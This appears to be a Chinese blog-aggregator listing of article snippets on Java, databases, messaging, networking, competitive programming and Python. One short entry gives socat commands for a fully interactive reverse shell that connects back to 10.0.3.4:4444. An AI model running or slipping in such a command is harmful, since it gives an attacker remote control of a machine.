深入了解Drools

深入了解Drools : https://www.jianshu.com/p/725811f420db
分类: 其他 发布时间: 03-11 23:37 阅读次数: 0

Java JVM 垃圾收集器

文章目录 一、并行和并发的概念 二、垃圾收集器 2.1、Serial收集器(新生代 – 串行GC) 2.2、ParNew收集器(新生代 – 并行GC) 2.3、Parallel Scavenge收集器(新生代 – 并行回收GC) 2.4、Serial Old收集器(老年代 – 串行GC) 2.5、Parallel Old收集器(老年代 – 并行GC) 2.6、CMS收集器(老年代 – 并发GC) 2.7、G1收集器 三、附GC组合 四、参考资料: Java 的垃圾回收机制最主要的实现者就是”垃
分类: 其他 发布时间: 03-11 23:36 阅读次数: 0

mysql 分库分表中间件 (待补充)

文章目录 1、sharding-jdbc 2、mycat 3、TDDL 4、cobar 5、博客参考 1、sharding-jdbc 在介绍多库多表的时候,给大家介绍一个轻量级 分库分表 工具,sharding-jdbc,这是当当网自己实现的基本JDBC的数据库多库多表解决方案。可以让你在写业务代码的时候完全按照单库单表进行,多库多表的问题有sharding-jdbc帮你解决,需要自己实现分库分表规则接口,配置分库分表规则。 实现分库规则接口: public class DemoDatabas
分类: 其他 发布时间: 03-11 23:36 阅读次数: 0

JMS 5种 消息类型

JMS 即 Java消息服务(Java Message Service)应用程序接口,是一个Java平台中关于面向消息中间件(MOM)的API,用于在两个应用程序之间,或分布式系统中发送消息,进行异步通信。 Java消息服务是一个与具体平台无关的API,绝大多数MOM提供商都对JMS提供支持。 JMS是一种与厂商无关的 API,用来访问消息收发系统消息,它类似于JDBC(Java Database Connectivity)。这里,JDBC 是可以用来访问许多不同关系数据库的 API,而 JM
分类: 其他 发布时间: 03-11 23:35 阅读次数: 0

JMS 之 Active MQ 消息存储

文章目录 一、消息的存储方式 1.1、Queue消息模型在ActiveMQ的存储 1.2、Topic消息模型(针对持久订阅) 1.3、持久化存储方式: 二、KahaDB存储方式 2.1、KahaDB主要特性: 2.2、适用场景: 2.3、配置 conf/activemq.xml 2.4、KahaDB存储原理: 2.4.1、KahaDB内部结构 2.4.2、目录结构: 三、AMQ消息存储 3.1、配置 conf/activemq.xml: 3.2、AMQ内部结构: 3.3、目录结构: 四、JDB
分类: 其他 发布时间: 03-11 23:35 阅读次数: 0

ETag —— http缓存和静态优化

Cache-Control和ETag :https://www.jianshu.com/p/3e2afe089e11 ETag详解: https://blog.csdn.net/xmloveth/article/details/52291760 HTTP协议缓存策略深入详解之etag妙用: https://blog.csdn.net/wanywn060/article/details/83607818
分类: 其他 发布时间: 03-11 23:35 阅读次数: 0

网络设备基本配置(思科版本)

来源于:https://www.cnblogs.com/jarick-jiao/p/7831686.html 1查看IP地址的配置信息 右击桌面网络图标—属性—更改适配器设置—双击本地连接—单击"详细信息 或者开始 | 命令提示符 | 运行cmd | ipconfig或Ipconfig /all查看MAC地址 2 ping 命令测试网络连通性 Ping 127.0.0.1 进行回环测试 验证TCP/IP配置是否正确 3 交换机的工作模式: Switch>用户模式 Switch>enable S
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

反向Shell增强

下载socat 在客户端: socat file:`tty`,raw,echo=0 tcp-listen:4444 在服务端: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 如此即可创建功能完全的反向shell
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

Codeforces 1132D - Stressful Training - [二分+贪心+优先队列]

题目链接:https://codeforces.com/contest/1132/problem/D 题意: 有 $n$ 个学生,他们的电脑有初始电量 $a[1 \sim n]$,他们的电脑每分钟会耗电 $b[1 \sim n]$,现在有一场比赛持续 $k$ 分钟。 要你买一个充电器,使得每个学生的电脑在比赛期间的任何时候的电量都不会低于 $0$(可以等于 $0$),你要求出这个充电器每分钟充电量最少是多少。 题解: 看到这种题目,应当条件反射想到二分。 假设我们现在知道充电器每分钟的充电量是
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

牛客挑战赛30题解

牛客挑战赛30题解 比赛地址 Orz Anson&Deadecho A 枚举\(b,c\),这样\(a,d\)的限制也就确定了,二维数点即可。 #include<cstdio> #include<algorithm> #include<cstring> using namespace std; int gi(){ int x=0,w=1;char ch=getchar(); while((ch<'0'||ch>'9')&&ch!='-')ch=getchar(); if
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

Django之WSGI浅谈

一、什么是Web框架 框架,即framework,特指为解决一个开放性问题而设计的具有一定约束性的支撑结构,使用框架可以帮你快速开发特定的系统。 浏览器与服务器之间发起HTTP请求: 1.浏览器发送一个HTTP请求; 2.服务器收到请求,生成一个HTML文档; 3.服务器把HTML文档作为HTTP响应的Body发送给浏览器; 4.浏览器收到HTTP响应,从HTTP Body取出HTML文档并显示。 对于所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个s
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

Windows下慎用内核隔离

1. 开启内核隔离后只能通过注册表关闭 2. 开启内核隔离后, 默认会启动hybrid-v, 这个东西和虚拟机是冲突的, 这样就用不了虚拟机了. 3. 解决方法: 关闭内核隔离后, 再关闭已经开启的hybrid-v 基本参考下面, 可能要重复几次才能有效的关闭hybrid-v Powering on a vm in VMware Workstation on Windows 10 host where Credential Guard/Device Guard is enabled fails
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

Python笔记(六):模块基础

模块 在计算机程序的开发过程中,随着程序代码越写越多,一个文件里代码就会越来越长,越来越不容易维护。 为了编写可维护的代码,我们把很多函数分组,分别放在不同的文件里,这样每个文件包含的代码就相对较少,在python中,一个 .py文件就称之为一个模块 Module 使用模块的好处   1、提高可维护性;编写代码不必从零开始。当一个模块编写完毕,就可以被其他地方引用   2、可以避免函数名和变量名冲突。每个模块有独立的命名空间,因此相同名字的函数和变量可以存在于不同的模块中,所以,在编写模块时,
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

Luogu P3239 [HNOI2015]亚瑟王

题目链接 \(Click\) \(Here\) 期望神题。最开始一直尝试推朴素一点的,逻辑上的\(DP\)式子,后来发现一直出锅,可能是我的式子没容斥对。。。 题解中给出的想法是这样的: 首先,如果直接一轮一轮地进行期望推导,会发现前面有冲突的情况。枚举第 \(i\)轮第 \(j\)张卡时既要保证前 \(i-1\)轮都没有发动过第 \(j\) 张卡,又要保证第 \(i\) 轮没有发动过前 \(j−1\) 张卡,再乘 \(p_i\) 算概率。但是这样怎么算都算不对,其实感觉也是一个“意识”调题的
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

Pandas系列(六)-时间序列详解

内容目录 1. 基础概述 2. 转换时间戳 3. 生成时间戳范围 4. DatetimeIndex 5. DateOffset对象 6. 与时间序列相关的方法 6.1 移动 6.2 频率转换 6.3 重采样  在处理时间序列的的过程中,我们经常会去做以下一些任务: 生成固定频率日期和时间跨度的序列 将时间序列整合或转换为特定频率 基于各种非标准时间增量(例如,在一年的最后一个工作日之前的5个工作日)计算“相对”日期,或向前或向后“滚动”日期 使用 Pandas 可以轻松完成以上任务。 一、基础
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

SSM学习04spring的数据库运行

学习spring开发数据库还是要导入额外的包 包结构: 导入包后编辑applicationContext.xml文件 1 <beans xmlns="http://www.springframework.org/schema/beans" 2 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 3 xsi:schemaLocation="http://www.springframework.org/schema/
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

线性回归损失函数求解

引言 上一篇笔记中已经记录了,如何对一个无解的线性方程组\(Ax=b\)求近似解。在这里,我们先来回顾两个知识点: 如何判断一个线性方程组无解:如果拿上面那个方程组\(Ax=b\)举例,那就是向量\(b\)不在矩阵A对应的列空间中,至于列空间的概念,可以参考四个基本子空间那篇笔记 如何对无解的方程组求近似解:根据上一篇笔记如何寻找一个投影矩阵可以有这么一个思路,将向量\(b\)往矩阵\(A\)所在的列空间投影得到向量\(f\),得到新的方程组\(A\hat{x}=f\),这个\(\hat{x}
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

JDBC Mysql 驱动连接异常

  在做JDBC连接Mysql的时候遇到了三个异常:   第一个是:mysql8.0 caching_sha2_password 这个异常是由于是因为在mysql8.0之前的密码规则是mysql_native_password,而mysql8.0以后使用的密码规则是caching_sha2_password, 我的解决办法是重设密码并指定密码规则: ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'r
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

男神鹏:python 常用的模块。

os模块 os模块包装了不同操作系统的通用接口,使用户在不同操作系统下,可以使用相同的函数接口,返回相同结构的结果。 os.name:返回当前操作系统名称('posix', 'nt', 'os2', 'mac', 'ce' or 'riscos') os中定义了一组文件、路径在不同操作系统中的表现形式参数,如 os.sep(文件夹分隔符,windows中是 \ ) os.extsep(扩展名分隔符,windows中是 . ) os.pathsep(目录分隔符,windows中是 ; ) os.
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0

事务及其特性ACID

一、事务的定义   事务是一组单元化的操作,这组操作可以保证要么全部成功,要么全部失败(只要有一个失败的操作,就会把其他已经成功的操作回滚)。   一般所说的数据库事务,它是访问并可能更新数据库中各种数据项的一个程序执行单元,由一个有限的数据库操作序列构成。当事务被提交给了DBMS(数据库管理系统),则DBMS(数据库管理系统)需要确保该事务中的所有操作都成功完成且其结果被永久保存在数据库中,如果事务中有的操作没有成功完成,则事务中的所有操作都需要被回滚,回到事务执行前的状态;同时,该事务对数
分类: 其他 发布时间: 03-11 23:34 阅读次数: 0